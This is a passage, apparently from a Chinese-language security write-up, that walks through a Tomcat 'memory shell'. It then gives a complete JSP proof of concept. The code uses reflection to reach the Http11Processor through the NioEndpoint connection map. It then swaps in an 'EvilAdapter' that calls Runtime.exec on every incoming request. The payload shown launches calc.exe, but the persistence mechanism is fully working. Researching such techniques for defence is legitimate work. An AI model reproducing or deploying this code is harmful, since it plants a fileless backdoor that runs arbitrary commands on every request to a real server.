    Method getSocketMethod = socketWrapper.getClass().getMethod("getSocket");
    Object socket = getSocketMethod.invoke(socketWrapper);

    // 获取appReadBufHandler
    Field appReadBufHandlerField = socket.getClass().getDeclaredField("appReadBufHandler");
    appReadBufHandlerField.setAccessible(true);
    Object appReadBufHandler = appReadBufHandlerField.get(socket);

    // 获取request
    Field requestField = appReadBufHandler.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Object coyoteRequest = requestField.get(appReadBufHandler);

    // 获取hook (Http11Processor)
    Field hookField = coyoteRequest.getClass().getDeclaredField("hook");
    hookField.setAccessible(true);
    Object hook = hookField.get(coyoteRequest);


    http11Processor = (Http11Processor) hook;


    // 查找AbstractProcessor类
    Class<?> AbstractProcessorClass = http11Processor.getClass().getSuperclass();

    // 找到AbstractProcessor类,从中获取adapter字段
    adapterField = AbstractProcessorClass.getDeclaredField("adapter");
    adapterField.setAccessible(true);
    adapter = (Adapter) adapterField.get(http11Processor);
    out.println("成功从 " + AbstractProcessorClass.getName() + " 获取adapter<br>");
    break;

}

构造恶意Adapter

<%!
    class EvilAdapter extends CoyoteAdapter {

        // 延续原本的Adapter功能
        public EvilAdapter(Connector connector) {
            super(connector);
        }

        @Override
        public void service(Request req, Response res) throws Exception {
            Runtime.getRuntime().exec("calc.exe");
            // 延续原本的Adapter的service功能
            super.service(req, res);
        }
    }
%>

替换恶意Adapter


    //获取connector
    Field connectorField = adapter.getClass().getDeclaredField("connector");
    connectorField.setAccessible(true);
    Connector connector = (Connector) connectorField.get(adapter);
    //实例化恶意Adapter
    EvilAdapter evilAdapter = new EvilAdapter(connector);
    //替换Adapter
    adapterField.set(http11Processor, evilAdapter);

整体POC

<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.coyote.http11.Http11Processor" %>
<%@ page import="org.apache.coyote.Adapter" %>
<%@ page import="org.apache.catalina.connector.CoyoteAdapter" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.Request" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    class EvilAdapter extends CoyoteAdapter {

        // 延续原本的Adapter功能
        public EvilAdapter(Connector connector) {
            super(connector);
        }

        @Override
        public void service(Request req, Response res) throws Exception {
            Runtime.getRuntime().exec("calc.exe");
            // 延续原本的Adapter的service功能
            super.service(req, res);
        }
    }
%>

<%
    // 获取NioEndpoint
    ThreadGroup group = Thread.currentThread().getThreadGroup();
    Field threadsField = ThreadGroup.class.getDeclaredField("threads");
    threadsField.setAccessible(true);
    Thread[] threads = (Thread[]) threadsField.get(group);

    Object nioEndpoint = null;
    for (Thread thread : threads) {
        if (thread != null && thread.getName().contains("Poller")) {
            Field targetField = Thread.class.getDeclaredField("target");
            targetField.setAccessible(true);
            Object poller = targetField.get(thread);

            Class<?> pollerClass = poller.getClass();
            for (Field field : pollerClass.getDeclaredFields()) {
                if (field.getName().startsWith("this$")) {
                    field.setAccessible(true);
                    nioEndpoint = field.get(poller);
                    break;
                }
            }
            if (nioEndpoint != null) break;
        }
    }

    NioEndpoint endpoint = (NioEndpoint) nioEndpoint;

    // 获取connections Map
    Field connectionsField = endpoint.getClass().getSuperclass().getSuperclass().getDeclaredField("connections");
    connectionsField.setAccessible(true);
    Map<?, ?> connections = (Map<?, ?>) connectionsField.get(endpoint);

    Http11Processor http11Processor = null;

    Adapter adapter = null;

    Field adapterField = null;
    for (Object socketWrapper : connections.values()) {

        // 使用getSocket()方法获取socket
        Method getSocketMethod = socketWrapper.getClass().getMethod("getSocket");
        Object socket = getSocketMethod.invoke(socketWrapper);

        // 获取appReadBufHandler
        Field appReadBufHandlerField = socket.getClass().getDeclaredField("appReadBufHandler");
        appReadBufHandlerField.setAccessible(true);
        Object appReadBufHandler = appReadBufHandlerField.get(socket);

        // 获取request
        Field requestField = appReadBufHandler.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        Object coyoteRequest = requestField.get(appReadBufHandler);

        // 获取hook (Http11Processor)
        Field hookField = coyoteRequest.getClass().getDeclaredField("hook");
        hookField.setAccessible(true);
        Object hook = hookField.get(coyoteRequest);


        http11Processor = (Http11Processor) hook;


        // 查找AbstractProcessor类
        Class<?> AbstractProcessorClass = http11Processor.getClass().getSuperclass();

        // 找到AbstractProcessor类,从中获取adapter字段
        adapterField = AbstractProcessorClass.getDeclaredField("adapter");
        adapterField.setAccessible(true);
        adapter = (Adapter) adapterField.get(http11Processor);
        out.println("成功从 " + AbstractProcessorClass.getName() + " 获取adapter<br>");
        break;

    }

    //获取connector
    Field connectorField = adapter.getClass().getDeclaredField("connector");
    connectorField.setAccessible(true);
    Connector connector = (Connector) connectorField.get(adapter);
    //实例化恶意Adapter
    EvilAdapter evilAdapter = new EvilAdapter(connector);
    //替换Adapter
    adapterField.set(http11Processor, evilAdapter);

%>

访问对应JSP

然后访问任意URL


参考文章:


https://geekdaxue.co/read/amartya666@javaweb/ve9x1o

https://pdai.tech/md/framework/tomcat/tomcat-x-container.html

https://xz.aliyun.com/news/13594

https://www.freebuf.com/articles/vuls/344812.html

https://www.freebuf.com/articles/web/344321.html

https://www.freebuf.com/vuls/345119.html